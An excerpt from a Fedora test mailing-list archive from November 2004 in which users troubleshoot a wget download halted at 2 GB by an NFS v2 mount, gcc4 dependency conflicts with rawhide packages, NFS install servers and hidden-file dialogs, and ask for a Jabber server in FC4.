(rw,nfsvers=2,addr=172.20.3.55) baloo:/home/drkludge on /home/drkludge type nfs (rw,nfsvers=2,addr=172.20.3.55) baloo:/home/edrive on /home/edrive type nfs (rw,nfsvers=2,addr=172.20.3.55) baloo:/home/fdrive on /home/fdrive type nfs (rw,nfsvers=2,addr=172.20.3.55) baloo:/home/gmorgan on /home/gmorgan type nfs (rw,nfsvers=2,addr=172.20.3.55) baloo:/home/lgmorgan on /home/lgmorgan type nfs (rw,nfsvers=2,addr=172.20.3.55) baloo:/home/nichmorgan on /home/nichmorgan type nfs (rw,nfsvers=2,addr=172.20.3.55) baloo:/home/ryanmorgan on /home/ryanmorgan type nfs (rw,nfsvers=2,addr=172.20.3.55) baloo:/home/zpmorgan on /home/zpmorgan type nfs (rw,nfsvers=2,addr=172.20.3.55) nfsd on /proc/fs/nfsd type nfsd (rw) > 6. "ls -la" (in the working dir) > total 4515752 drwxr-xr-x 2 drkludge morgans 4096 Nov 10 00:19 . drwxrwxr-x 70 gmorgan morgans 4096 Oct 30 02:03 .. -rw-r--r-- 1 drkludge morgans 646987776 Nov 9 01:50 FC3-i386-disc1.iso -rw-r--r-- 1 drkludge morgans 668520448 Nov 9 08:42 FC3-i386-disc2.iso -rw------- 1 drkludge morgans 667498496 Nov 10 00:58 FC3-i386-disc3.iso -rw-r--r-- 1 drkludge morgans 404764672 Nov 10 00:19 FC3-i386-disc4.iso -rw------- 1 drkludge morgans 2147483647 Nov 10 03:30 FC3-i386-DVD.iso -rw-r--r-- 1 drkludge morgans 79908864 Nov 10 01:00 FC3-i386-rescuecd.iso -rwxr-xr-- 1 drkludge morgans 1701 Nov 8 06:19 fcwget.sh -rw-r--r-- 1 drkludge morgans 5211 Oct 30 05:52 fcwget.sh.log -rw-r--r-- 1 drkludge morgans 121 Jul 19 21:30 grub.txt -rw-r--r-- 1 root root 2104 Jul 19 21:50 hosts -rw-r--r-- 1 root root 2904944 Jul 8 13:48 initrd.img -rw-r--r-- 1 drkludge morgans 791 Nov 9 19:15 MD5SUM -rwxr-xr-- 1 drkludge morgans 184 Jul 19 21:27 nfsinstallfiles.csh -rw-r--r-- 1 drkludge morgans 2247 Jul 19 21:30 nfs.txt -rw-r--r-- 1 root root 20309 Oct 30 06:00 pax.txt -rw-r--r-- 1 drkludge morgans 68016 Nov 8 19:06 RELEASE-NOTES-en.html -rw-r--r-- 1 root root 93 Jul 19 21:50 resolv.conf -rw-r--r-- 1 root root 1358724 Jul 8 13:48 vmlinuz Greg Morgan From maze at cela.pl Thu Nov 11 11:26:29 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Thu, 11 Nov 2004 12:26:29 +0100 (CET) Subject: wget problem or me In-Reply-To: <41934AF9.8090001@cox.net> References: <4192127C.8000809@cox.net> <20041110150703.4668967a.robn@verdi.et.tudelft.nl> <41934AF9.8090001@cox.net> Message-ID: > Greg Morgan does the partition you're downloading to even support >2GB files? on the server? locally? does the nfs you're using support >2GB files? Cheers, MaZe From goemon at anime.net Thu Nov 11 11:28:58 2004 From: goemon at anime.net (Dan Hollis) Date: Thu, 11 Nov 2004 03:28:58 -0800 (PST) Subject: wget problem or me In-Reply-To: <41934AF9.8090001@cox.net> Message-ID: On Thu, 11 Nov 2004, Greg Morgan wrote: > >>I saw the announcement of wget Karsten Hopp on the Announcement list. > >>..."This new release of wget adds support for large files >2Gb, p.e. DVD > >>ISOs."... I was trying to ftp the DVD ISO file. The ftp transfer was > >>hung. It may have been killed by the ftp server. I had to kill the ftp > >>transfer. I downloaded the wget rpm and used rpm -Fvh to install it on > >>FC2. wget -V reports > >>wget -V > >>GNU Wget 1.9+cvs-stable (Red Hat modified) > >>.... > >>I used wget -c > >>ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-DVD.iso last > >>night before going to bed. I woke up to > >>87% [+++++++++++++++++++++========> ] 2,147,476,904 12.92K/s ETA > >>4:08:22File size limit exceeded > baloo:/home/ddrive on /home/ddrive type nfs (rw,nfsvers=2,addr=172.20.3.55) > baloo:/home/drkludge on /home/drkludge type nfs > (rw,nfsvers=2,addr=172.20.3.55) > baloo:/home/edrive on /home/edrive type nfs (rw,nfsvers=2,addr=172.20.3.55) > baloo:/home/fdrive on /home/fdrive type nfs (rw,nfsvers=2,addr=172.20.3.55) > baloo:/home/gmorgan on /home/gmorgan type nfs > (rw,nfsvers=2,addr=172.20.3.55) > baloo:/home/lgmorgan on /home/lgmorgan type nfs > (rw,nfsvers=2,addr=172.20.3.55) > baloo:/home/nichmorgan on /home/nichmorgan type nfs > (rw,nfsvers=2,addr=172.20.3.55) > baloo:/home/ryanmorgan on /home/ryanmorgan type nfs > (rw,nfsvers=2,addr=172.20.3.55) > baloo:/home/zpmorgan on /home/zpmorgan type nfs > (rw,nfsvers=2,addr=172.20.3.55) > nfsd on /proc/fs/nfsd type nfsd (rw) nfs v2 does not support largefiles (>2gb). you need nfs v3 for that. -Dan From robn at verdi.et.tudelft.nl Thu Nov 11 11:37:55 2004 From: robn at verdi.et.tudelft.nl (Rob van Nieuwkerk) Date: Thu, 11 Nov 2004 12:37:55 +0100 Subject: wget problem or me In-Reply-To: <41934AF9.8090001@cox.net> References: <4192127C.8000809@cox.net> <20041110150703.4668967a.robn@verdi.et.tudelft.nl> <41934AF9.8090001@cox.net> Message-ID: <20041111123755.76173528.robn@verdi.et.tudelft.nl> On Thu, 11 Nov 2004 04:20:25 -0700 Greg Morgan wrote: > Rob van Nieuwkerk wrote: > > On Wed, 10 Nov 2004 06:07:08 -0700 > > Greg Morgan wrote: > >>I saw the announcement of wget Karsten Hopp on the Announcement list. > >>..."This new release of wget adds support for large files >2Gb, p.e. DVD > >>ISOs."... I was trying to ftp the DVD ISO file. The ftp transfer was > >>hung. It may have been killed by the ftp server. I had to kill the ftp > >>transfer. I downloaded the wget rpm and used rpm -Fvh to install it on > >>FC2. wget -V reports > >>wget -V > >>GNU Wget 1.9+cvs-stable (Red Hat modified) > >>.... > >>I used wget -c > >>ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-DVD.iso last > >>night before going to bed. I woke up to > >>87% [+++++++++++++++++++++========> ] 2,147,476,904 12.92K/s ETA > >>4:08:22File size limit exceeded > > > > > >>The complete trace of the session follows. I am leaving for work. > >>Please let me know if I need to buzilla this because it is not pilot error. > > > > > > Hi Greg, > > > > Please wait with bugzilla: I suspect it is a problem on your side. > > > > Can you please give the output of the following commands: Hi Greg, > > 3. "rpm -qi wget" > > Name : wget Relocations: (not relocatable) > Version : 1.9.1 Vendor: Red Hat, Inc. > Release : 16.fc2 Build Date: Wed 27 Oct 2004 OK, you have the right version (just to make sure). > > 4. "df ." (in the working dir) > > > Filesystem 1K-blocks Used Available Use% Mounted on > baloo:/home/fdrive 183800916 47490516 126973828 28% /home/fdrive > > 5. "mount" > > baloo:/home/fdrive on /home/fdrive type nfs (rw,nfsvers=2,addr=172.20.3.55) You are trying to download the image to a mounted NFS v2 filesystem. The maximum filesize on NFS v2 is 2 GB. So that explains why wget stopped at 2 GB. Do your download on a different filesystem that does not have this limit (for example a local filesystem or NFS version >= 3) and it will work. Not a wget problem ! greetings, Rob van Nieuwkerk From ndbecker2 at verizon.net Thu Nov 11 12:10:12 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Thu, 11 Nov 2004 07:10:12 -0500 Subject: Fedora Core 3 Test Update: man-1.5o1-4 References: <41928EAB.20604@redhat.com> Message-ID: Make sure to test with emacs/xemacs. They are likely to be problematic. From tony.molloy at ul.ie Thu Nov 11 12:37:39 2004 From: tony.molloy at ul.ie (Tony Molloy) Date: Thu, 11 Nov 2004 12:37:39 +0000 Subject: Features for FC4 In-Reply-To: <1100112479.3955.62.camel@marius.asheville.interact> References: <1100112479.3955.62.camel@marius.asheville.interact> Message-ID: <200411111237.39166.tony.molloy@ul.ie> On Wednesday 10 November 2004 18:47, Mark Haney wrote: > I know it's probably a bit early, but does anyone have a > comprehensive set of features/ideas for FC4? So far FC3 is by far > the best distro out there, but surely there's been some thought to > what's next. Plus, I'd love to help out with it in any way I can, > but time prohibits real development, is there any need for > documentation? > "Best distro out there" It's been out for 4 days and so far there have been at least 103 package upgrades. This sound to me like it was released too early ;-) Tony -- Tony Molloy. Dept. of Comp. Sci. University of Limerick From tony.molloy at ul.ie Thu Nov 11 12:42:54 2004 From: tony.molloy at ul.ie (Tony Molloy) Date: Thu, 11 Nov 2004 12:42:54 +0000 Subject: Problem with setting up install server In-Reply-To: References: Message-ID: <200411111242.54882.tony.molloy@ul.ie> On Wednesday 10 November 2004 22:55, Scott Dowdle wrote: > Gang, > > Ok, I've done this bunches with previous release but am having a > problem with FC3. Setting up an install server to do installs over > NFS. Here's what I've done and the problem I'm running into: > > 1) Copied directory structure of DVD to NFS accessible directory. > > 2) Took all current update packages and replaced previous versions > > 3) ran the following command: > /usr/lib/anaconda-runtime/genhdlist /mnt/backup/other/install/fc3 > (it does its thing) > > 4) Booted from boot.iso image CD on target install machine. > > 5) Selected NFS and it went about its merry way. > > 6) After formatting partitions, and setting up RPM transaction, I get > an exit abnormally error message and it shuts down. I don't really > see any indicator to what it didn't like. On the ALT-F# screens > there is no obvious error other than the normal looking stuff. > > Any ideas? > > Oh, BTW, in step #3 above genhdlist still insists on there being a > directory named RedHat rather than Fedora. I just create a symlink > and it works fine as it has in previous Fedora releases. Given the > movement away from the "RedHat" name to the "Fedora" name, you might > at this to your list of name replacments. I noticed the same thing yesterday. Did as you did with the exception of step 3 where I ran genhdlist --productpath Fedora /path-to-NFS-dirs Im going to try again today so I'll let you know what happens Tony -- Tony Molloy. Dept. of Comp. Sci. University of Limerick From arjanv at redhat.com Thu Nov 11 12:50:35 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Thu, 11 Nov 2004 13:50:35 +0100 Subject: Features for FC4 In-Reply-To: <200411111237.39166.tony.molloy@ul.ie> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> Message-ID: <1100177435.4387.7.camel@laptop.fenrus.org> On Thu, 2004-11-11 at 12:37 +0000, Tony Molloy wrote: > On Wednesday 10 November 2004 18:47, Mark Haney wrote: > > I know it's probably a bit early, but does anyone have a > > comprehensive set of features/ideas for FC4? So far FC3 is by far > > the best distro out there, but surely there's been some thought to > > what's next. Plus, I'd love to help out with it in any way I can, > > but time prohibits real development, is there any need for > > documentation? > > > > "Best distro out there" It's been out for 4 days and so far there have > been at least 103 package upgrades. This sound to me like it was > released too early ;-) well.... most of it is minor fixes that weren't allowed in due to the freeze, and the developer had done the work anyway so decided to just push out the bugfix... the alternative is to leave the bug in; which would you prefer ? (and before you say "then delay the release"... there will ALWAYS be non-critical bugs, if you wait for that you will never get a release) -------------- next part -------------- A non-text attachment was scrubbed... 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Is there a global option lurking about somewhere? > > FC3 Final, KDE 3.3.0-5 Red Hat > From douglas.furlong at firebox.com Thu Nov 11 12:55:19 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Thu, 11 Nov 2004 12:55:19 +0000 Subject: Features for FC4 In-Reply-To: <1100177435.4387.7.camel@laptop.fenrus.org> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> Message-ID: <1100177719.3313.45.camel@douglas-furlong.firebox.com> On Thu, 2004-11-11 at 13:50 +0100, Arjan van de Ven wrote: > the alternative is to leave the bug in; which would you prefer ? Leave them in, add's spice to my life :) But just to echo some of his sentiments, I was tracking several bugs that the developers informed me had already been fixed, but could not be rolled out due to the freeze. -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... 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Plus, I'd love to help out with it in any way I can, >> > but time prohibits real development, is there any need for >> > documentation? >> > >> >> "Best distro out there" It's been out for 4 days and so far there have >> been at least 103 package upgrades. This sound to me like it was >> released too early ;-) > > well.... most of it is minor fixes that weren't allowed in due to the > freeze, and the developer had done the work anyway so decided to just > push out the bugfix... > > the alternative is to leave the bug in; which would you prefer ? > > (and before you say "then delay the release"... there will ALWAYS be > non-critical bugs, if you wait for that you will never get a release) > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list you're right, Arjan. But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... it would also be nice, if FC4 could cook some coffee for me, while installing it ;-) Roger From ndbecker2 at verizon.net Thu Nov 11 13:15:08 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Thu, 11 Nov 2004 08:15:08 -0500 Subject: gcc4 dependencies breakage in current release (not rawhide) Message-ID: sudo yum install gcc4* Setting up Install Process Setting up Repo: base repomd.xml 100% |=========================| 1.1 kB 00:00 Setting up Repo: updates-released repomd.xml 100% |=========================| 951 B 00:00 Reading repository metadata in from local files base : ################################################## 2622/2622 primary.xml.gz 100% |=========================| 59 kB 00:33 MD Read : ################################################## 142/142 updates-re: ################################################## 142/142 Resolving Dependencies --> Populating transaction set with selected packages. Please wait. ---> Downloading header for gcc4-gfortran to pack into transaction set. gcc4-gfortran-4.0.0-0.8.i 100% |=========================| 7.0 kB 00:02 ---> Package gcc4-gfortran.i386 0:4.0.0-0.8 set to be installed ---> Downloading header for gcc4 to pack into transaction set. gcc4-4.0.0-0.8.i386.rpm 100% |=========================| 11 kB 00:01 ---> Package gcc4.i386 0:4.0.0-0.8 set to be installed ---> Downloading header for gcc4-c++ to pack into transaction set. gcc4-c++-4.0.0-0.8.i386.r 100% |=========================| 7.2 kB 00:00 ---> Package gcc4-c++.i386 0:4.0.0-0.8 set to be installed --> Running transaction check --> Processing Dependency: libstdc++-devel= 3.4.2 for package: gcc4-c++ --> Processing Dependency: libstdc++= 3.4.2 for package: gcc4-c++ --> Restarting Dependency Resolution with new changes. --> Populating transaction set with selected packages. Please wait. ---> Downloading header for libstdc++-devel to pack into transaction set. libstdc++-devel-3.4.2-6.f 100% |=========================| 51 kB 00:06 ---> Package libstdc++-devel.i386 0:3.4.2-6.fc3 set to be updated ---> Downloading header for libstdc++ to pack into transaction set. libstdc++-3.4.2-6.fc3.i38 100% |=========================| 18 kB 00:01 ---> Package libstdc++.i386 0:3.4.2-6.fc3 set to be updated --> Running transaction check --> Processing Dependency: libstdc++= 3.4.3 for package: gcc-c++ --> Processing Dependency: libstdc++-devel= 3.4.3 for package: gcc-c++ --> Finished Dependency Resolution Error: missing dep: libstdc++ for pkg gcc-c++ Error: missing dep: libstdc++-devel for pkg gcc-c++ From jakub at redhat.com Thu Nov 11 13:19:42 2004 From: jakub at redhat.com (Jakub Jelinek) Date: Thu, 11 Nov 2004 08:19:42 -0500 Subject: gcc4 dependencies breakage in current release (not rawhide) In-Reply-To: References: Message-ID: <20041111131942.GM10340@devserv.devel.redhat.com> On Thu, Nov 11, 2004 at 08:15:08AM -0500, Neal D. Becker wrote: > sudo yum install gcc4* > Setting up Install Process > Setting up Repo: base > repomd.xml 100% |=========================| 1.1 kB 00:00 > Setting up Repo: updates-released > repomd.xml 100% |=========================| 951 B 00:00 > Reading repository metadata in from local files > base : ################################################## 2622/2622 > primary.xml.gz 100% |=========================| 59 kB 00:33 > MD Read : ################################################## 142/142 > updates-re: ################################################## 142/142 > Resolving Dependencies > --> Populating transaction set with selected packages. Please wait. > ---> Downloading header for gcc4-gfortran to pack into transaction set. > gcc4-gfortran-4.0.0-0.8.i 100% |=========================| 7.0 kB 00:02 > ---> Package gcc4-gfortran.i386 0:4.0.0-0.8 set to be installed > ---> Downloading header for gcc4 to pack into transaction set. > gcc4-4.0.0-0.8.i386.rpm 100% |=========================| 11 kB 00:01 > ---> Package gcc4.i386 0:4.0.0-0.8 set to be installed > ---> Downloading header for gcc4-c++ to pack into transaction set. > gcc4-c++-4.0.0-0.8.i386.r 100% |=========================| 7.2 kB 00:00 > ---> Package gcc4-c++.i386 0:4.0.0-0.8 set to be installed > --> Running transaction check > --> Processing Dependency: libstdc++-devel= 3.4.2 for package: gcc4-c++ > --> Processing Dependency: libstdc++= 3.4.2 for package: gcc4-c++ > --> Restarting Dependency Resolution with new changes. > --> Populating transaction set with selected packages. Please wait. > ---> Downloading header for libstdc++-devel to pack into transaction set. > libstdc++-devel-3.4.2-6.f 100% |=========================| 51 kB 00:06 > ---> Package libstdc++-devel.i386 0:3.4.2-6.fc3 set to be updated > ---> Downloading header for libstdc++ to pack into transaction set. > libstdc++-3.4.2-6.fc3.i38 100% |=========================| 18 kB 00:01 > ---> Package libstdc++.i386 0:3.4.2-6.fc3 set to be updated > --> Running transaction check > --> Processing Dependency: libstdc++= 3.4.3 for package: gcc-c++ > --> Processing Dependency: libstdc++-devel= 3.4.3 for package: gcc-c++ > --> Finished Dependency Resolution > Error: missing dep: libstdc++ for pkg gcc-c++ > Error: missing dep: libstdc++-devel for pkg gcc-c++ Can you rpm -q gcc gcc-c++ libstdc++ libstdc++-devel? I don't believe you are not using rawhide packages. Jakub From drkludge at cox.net Thu Nov 11 13:26:23 2004 From: drkludge at cox.net (Greg Morgan) Date: Thu, 11 Nov 2004 06:26:23 -0700 Subject: wget problem or me <-- answer me In-Reply-To: <20041111123755.76173528.robn@verdi.et.tudelft.nl> References: <4192127C.8000809@cox.net> <20041110150703.4668967a.robn@verdi.et.tudelft.nl> <41934AF9.8090001@cox.net> <20041111123755.76173528.robn@verdi.et.tudelft.nl> Message-ID: <4193687F.903@cox.net> Rob van Nieuwkerk wrote: >>>>ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-DVD.iso last >>>>night before going to bed. I woke up to >>>>87% [+++++++++++++++++++++========> ] 2,147,476,904 12.92K/s ETA >>>>4:08:22File size limit exceeded Thanks for all the replies. I see now. "File size limit exceeded" means just that on the file system being used to receive the file. I understand also why you had me issue all those commands because you were trying to see where the file system limit was coming into play i.e. filesystem or out of space problems. Slap forehead now. ;-) >>baloo:/home/fdrive on /home/fdrive type nfs (rw,nfsvers=2,addr=172.20.3.55) > > > You are trying to download the image to a mounted NFS v2 filesystem. > The maximum filesize on NFS v2 is 2 GB. So that explains why wget I guess its time to plan the migration. > stopped at 2 GB. Do your download on a different filesystem that > does not have this limit (for example a local filesystem or NFS > version >= 3) and it will work. Not a wget problem ! This explains my puzzlement. I did download a test DVD ISO once before but it must have been on the NFS server directly. I was testing the new backend during the FC3 rc series and the md5sum calculated correctly. Thanks, Greg From roger at gwch.net Thu Nov 11 13:42:03 2004 From: roger at gwch.net (Roger Grosswiler) Date: Thu, 11 Nov 2004 14:42:03 +0100 (CET) Subject: Jabber 2 Message-ID: <41896.62.2.21.164.1100180523.squirrel@62.2.21.164> Hi, i currently run jabber 1.4.3 with kevin sonney's rpms and all transports. All works well - except the aim/icq-transport. Chatting with the jabber-community was for me for no success, so i decided to change to jabber 2 - where unfortunately are no rpm's available. jabber works well on fc2 and fc3 (had to compile it, 2-3 deps, but it works...) - but i cannot get the transports running. I tried that legacy-thing with the 1.4.3-7 rpms, but i did not get this thing up and running... Do you have an idea, where i could get some more rpm's or is somebody here experienced with this issue? I know, it's the false mailing list, so sorry. Roger From ndbecker2 at verizon.net Thu Nov 11 13:44:09 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Thu, 11 Nov 2004 08:44:09 -0500 Subject: gcc4 dependencies breakage in current release (not rawhide) References: <20041111131942.GM10340@devserv.devel.redhat.com> Message-ID: Jakub Jelinek wrote: > On Thu, Nov 11, 2004 at 08:15:08AM -0500, Neal D. Becker wrote: >> sudo yum install gcc4* >> Setting up Install Process >> Setting up Repo: base >> repomd.xml 100% |=========================| 1.1 kB >> 00:00 >> Setting up Repo: updates-released >> repomd.xml 100% |=========================| 951 B >> 00:00 Reading repository metadata in from local files >> base : ################################################## 2622/2622 >> primary.xml.gz 100% |=========================| 59 kB >> 00:33 >> MD Read : ################################################## 142/142 >> updates-re: ################################################## 142/142 >> Resolving Dependencies >> --> Populating transaction set with selected packages. Please wait. >> ---> Downloading header for gcc4-gfortran to pack into transaction set. >> gcc4-gfortran-4.0.0-0.8.i 100% |=========================| 7.0 kB >> 00:02 ---> Package gcc4-gfortran.i386 0:4.0.0-0.8 set to be installed >> ---> Downloading header for gcc4 to pack into transaction set. >> gcc4-4.0.0-0.8.i386.rpm 100% |=========================| 11 kB >> 00:01 ---> Package gcc4.i386 0:4.0.0-0.8 set to be installed >> ---> Downloading header for gcc4-c++ to pack into transaction set. >> gcc4-c++-4.0.0-0.8.i386.r 100% |=========================| 7.2 kB >> 00:00 ---> Package gcc4-c++.i386 0:4.0.0-0.8 set to be installed >> --> Running transaction check >> --> Processing Dependency: libstdc++-devel= 3.4.2 for package: gcc4-c++ >> --> Processing Dependency: libstdc++= 3.4.2 for package: gcc4-c++ >> --> Restarting Dependency Resolution with new changes. >> --> Populating transaction set with selected packages. Please wait. >> ---> Downloading header for libstdc++-devel to pack into transaction set. >> libstdc++-devel-3.4.2-6.f 100% |=========================| 51 kB >> 00:06 ---> Package libstdc++-devel.i386 0:3.4.2-6.fc3 set to be updated >> ---> Downloading header for libstdc++ to pack into transaction set. >> libstdc++-3.4.2-6.fc3.i38 100% |=========================| 18 kB >> 00:01 ---> Package libstdc++.i386 0:3.4.2-6.fc3 set to be updated >> --> Running transaction check >> --> Processing Dependency: libstdc++= 3.4.3 for package: gcc-c++ >> --> Processing Dependency: libstdc++-devel= 3.4.3 for package: gcc-c++ >> --> Finished Dependency Resolution >> Error: missing dep: libstdc++ for pkg gcc-c++ >> Error: missing dep: libstdc++-devel for pkg gcc-c++ > > Can you rpm -q gcc gcc-c++ libstdc++ libstdc++-devel? > I don't believe you are not using rawhide packages. > > Jakub > rpm -q gcc gcc-c++ libstdc++ libstdc++-devel gcc-3.4.3-1 gcc-c++-3.4.3-1 libstdc++-3.4.3-1 libstdc++-devel-3.4.3-1 From jakub at redhat.com Thu Nov 11 13:49:42 2004 From: jakub at redhat.com (Jakub Jelinek) Date: Thu, 11 Nov 2004 08:49:42 -0500 Subject: gcc4 dependencies breakage in current release (not rawhide) In-Reply-To: References: <20041111131942.GM10340@devserv.devel.redhat.com> Message-ID: <20041111134942.GN10340@devserv.devel.redhat.com> On Thu, Nov 11, 2004 at 08:44:09AM -0500, Neal D. Becker wrote: > rpm -q gcc gcc-c++ libstdc++ libstdc++-devel > gcc-3.4.3-1 > gcc-c++-3.4.3-1 > libstdc++-3.4.3-1 > libstdc++-devel-3.4.3-1 That's rawhide gcc, therefore you need to install rawhide gcc4 as well (particularly 4.0.0-0.11). Jakub From lnxxprt at arcor.de Thu Nov 11 13:54:10 2004 From: lnxxprt at arcor.de (D. Stolte) Date: Thu, 11 Nov 2004 14:54:10 +0100 Subject: The new file selector and hidden files In-Reply-To: <4192DFDF.9090402@sbcglobal.net> References: <1080301625.7355.82.camel@localhost.localdomain> <4192DFDF.9090402@sbcglobal.net> Message-ID: <41936F02.9000508@arcor.de> right click in the file listing part of the window :) /ds Robert wrote: > Maynard Kuona wrote: > >> How do I get the new file selector to show hidden files, or at least to >> open them. >> >> > Was this ever answered? I have been beating myself up for a couple > hours, trying to fall into the secret after finding no answers on this > list. Having to open a terminal, do an ls -a, copy a file name and paste > it into the mozilla or konqueror or whatever open dialogue box is beyond > unacceptable. Is there a global option lurking about somewhere? > > FC3 Final, KDE 3.3.0-5 Red Hat > From chrisw01 at privatei.com Thu Nov 11 14:22:00 2004 From: chrisw01 at privatei.com (Christopher A. Williams) Date: Thu, 11 Nov 2004 07:22:00 -0700 Subject: Jabber Server on FC3 (Was: Re: Features for FC4) In-Reply-To: <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> Message-ID: <1100182920.17067.31.camel@spike-home.comcast.net> On Thu, 2004-11-11 at 14:04 +0100, Roger Grosswiler wrote: > you're right, Arjan. > > But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) > preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... Same here! I'm about to load a Jabber server on a new FC3 system we built yesterday. I have no idea where to start. Any tips/pointers to FAQs and how-to's would be greatly appreciated. This will be an internal, private messaging system, so we could get away with the basic transports. > > it would also be nice, if FC4 could cook some coffee for me, while installing it ;-) Could you also have it slice, dice and make those awesome "Julian fries" like those Ronco gadgets do on TV? :) Cheers, Chris -- ==================================== "If you get to thinkin' you're a person of some influence, try orderin' someone else's dog around." --Cowboy Wisdom From ndbecker2 at verizon.net Thu Nov 11 14:24:23 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Thu, 11 Nov 2004 09:24:23 -0500 Subject: Can yum do forced downgrade? References: <20041111131942.GM10340@devserv.devel.redhat.com> <20041111134942.GN10340@devserv.devel.redhat.com> Message-ID: Jakub Jelinek wrote: > On Thu, Nov 11, 2004 at 08:44:09AM -0500, Neal D. Becker wrote: >> rpm -q gcc gcc-c++ libstdc++ libstdc++-devel >> gcc-3.4.3-1 >> gcc-c++-3.4.3-1 >> libstdc++-3.4.3-1 >> libstdc++-devel-3.4.3-1 > > That's rawhide gcc, therefore you need to install rawhide gcc4 as well > (particularly 4.0.0-0.11). > > Jakub > OK, I guess I installed them by accident. Can yum do a forced downgrade? From skvidal at phy.duke.edu Thu Nov 11 14:22:34 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 11 Nov 2004 09:22:34 -0500 Subject: Can yum do forced downgrade? In-Reply-To: References: <20041111131942.GM10340@devserv.devel.redhat.com> <20041111134942.GN10340@devserv.devel.redhat.com> Message-ID: <1100182954.3094.19.camel@binkley> On Thu, 2004-11-11 at 09:24 -0500, Neal D. Becker wrote: > Jakub Jelinek wrote: > > > On Thu, Nov 11, 2004 at 08:44:09AM -0500, Neal D. Becker wrote: > >> rpm -q gcc gcc-c++ libstdc++ libstdc++-devel > >> gcc-3.4.3-1 > >> gcc-c++-3.4.3-1 > >> libstdc++-3.4.3-1 > >> libstdc++-devel-3.4.3-1 > > > > That's rawhide gcc, therefore you need to install rawhide gcc4 as well > > (particularly 4.0.0-0.11). > > > > Jakub > > > > OK, I guess I installed them by accident. Can yum do a forced downgrade? no. -sv From cervajs at fpf.slu.cz Thu Nov 11 14:49:13 2004 From: cervajs at fpf.slu.cz (marek cervenka) Date: Thu, 11 Nov 2004 15:49:13 +0100 (CET) Subject: Jabber Server on FC3 (Was: Re: Features for FC4) In-Reply-To: <1100182920.17067.31.camel@spike-home.comcast.net> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100182920.17067.31.camel@spike-home.comcast.net> Message-ID: >> you're right, Arjan. >> >> But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) >> preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... > > Same here! I'm about to load a Jabber server on a new FC3 system we > built yesterday. I have no idea where to start. Any tips/pointers to > FAQs and how-to's would be greatly appreciated. This will be an > internal, private messaging system, so we could get away with the basic > transports. i vote for jabber server too and GFS integration >> it would also be nice, if FC4 could cook some coffee for me, while installing it ;-) > > Could you also have it slice, dice and make those awesome "Julian fries" > like those Ronco gadgets do on TV? :) nice features ;) --------------------------------------- Marek Cervenka Centrum Vypocetni Techniky CVT - http://cvt.fpf.slu.cz FPF SLU OPAVA - http://www.fpf.slu.cz LCNA - http://lcna.slu.cz ======================================= From skvidal at phy.duke.edu Thu Nov 11 14:53:11 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 11 Nov 2004 09:53:11 -0500 Subject: Jabber Server on FC3 (Was: Re: Features for FC4) In-Reply-To: References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100182920.17067.31.camel@spike-home.comcast.net> Message-ID: <1100184791.3094.21.camel@binkley> On Thu, 2004-11-11 at 15:49 +0100, marek cervenka wrote: > >> you're right, Arjan. > >> > >> But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) > >> preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... > > > > Same here! I'm about to load a Jabber server on a new FC3 system we > > built yesterday. I have no idea where to start. Any tips/pointers to > > FAQs and how-to's would be greatly appreciated. This will be an > > internal, private messaging system, so we could get away with the basic > > transports. > > i vote for jabber server too A reliably-function jabber server is the first requirement. test out jabberd 2.0s4 some and see if it is stable before requesting it. -sv From roger at gwch.net Thu Nov 11 15:01:25 2004 From: roger at gwch.net (Roger Grosswiler) Date: Thu, 11 Nov 2004 16:01:25 +0100 (CET) Subject: Jabber Server on FC3 (Was: Re: Features for FC4) In-Reply-To: <1100184791.3094.21.camel@binkley> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100182920.17067.31.camel@spike-home.comcast.net> <1100184791.3094.21.camel@binkley> Message-ID: <44603.62.2.21.164.1100185285.squirrel@62.2.21.164> > On Thu, 2004-11-11 at 15:49 +0100, marek cervenka wrote: >> >> you're right, Arjan. >> >> >> >> But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) >> >> preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... >> > >> > Same here! I'm about to load a Jabber server on a new FC3 